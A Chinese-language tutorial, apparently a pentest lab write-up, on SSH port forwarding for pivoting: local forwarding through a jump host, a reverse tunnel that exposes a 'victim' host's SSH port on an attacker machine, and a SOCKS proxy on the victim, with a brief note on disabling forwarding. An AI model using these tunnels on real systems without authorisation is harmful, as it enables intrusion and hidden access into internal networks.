SSH介绍:
linux下的ssh是我们常用的终端管理命令,它可以进行管理终端,同时还可以转发流量的,使用ssh的好处是不用将工具上传到目标主机。
ssh参数:
-C 压缩传输,增加传输的效率,
-f 将SSH传输放在后台执行,不占用当前的SHELL
-N 建立静默连接,就是建立了连接,但是看不到具体的会话;还有一种说法是不允许执行命令
-g 允许远程主机连接本地用于转发端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH的端口
开启ssh服务:
vim /etc/ssh/sshd_config
#编辑sshd_config 将PasswordAuthentication no 改为yes /etc/init.d/ssh start #启动sh服务 service ssh status #查看ssh服务状态
端口转发:
ssh -L 8080:192.168.142.128:22 -fN 192.168.142.128
#将本地8080端口映射到本地的22端口
注意:-f参数将此转发在后台运行,关闭终端连接不会断开
拓扑环境:
正向连接:
场景:本地隧道用法,本地主机kali无法访问目标主机win7,因此通过中间主机web服务作为跳板机,去访问目标主机win7;需要知道受害机账户和密码
ssh -CNfL 0.0.0.0:7777:192.168.196.128:80 127.0.0.1
#将自己的7777端口映射到内网的192.168.196.128的80端口
也可以指定用户: ssh -CNfL 0.0.0.0:7777:192.168.196.128:80 root@127.0.0.1 #使用root用户
关闭正向连接:
netstat -antup | grep 7777 #查看7777 端口已经打开了 且可看到pid
kill -9 pid #kill -9 pid 关闭端口7777
反向连接:
场景:在受害机进行操作,两边的机器都需要开启ssh服务,若连接失败大概率是配置文件问题
这个反向体现在受害机器通过ssh服务将自己的端口通过连接公网机器的ssh服务进行映射到公网上的端口
ssh -qTfnN -R 6666:127.0.0.1:22 root@192.168.14.128
#root是远程主机用户名 ssh -qTfnN -R 打开远程主机端口:本地ip:本机连接端口 远程主机用户名@远程主机ip
打开公网端口6666后
公网ip上进行连接受害主机:
ssh -p 6666 root@127.0.0.1
#原理是受害主机的22端口已经映射在本机的6666端口,直接进行本地连接即可登录 ssh -p 受害机器打开的远程端口 受害机器用户@本地ip
ssh sockts代理:
ssh -CfNg -D 7000 root@192.168.47.129
#-D 动态转发 在受害主机上设置这个命令相当于受害主机成为代理
ssh -CfNg -D 开启本地动态监听端口 本机用户@本机ip
在kali浏览器上设置代理:
成功
禁用SSH端口转发
修改 /etc/ssh/sshd_config 文件中的 AllowTcpForwarding 改为no 大概87行
成功
但是这个修改后为yes的时候 这个端口依旧被禁用转发 生效只能是重新端口转发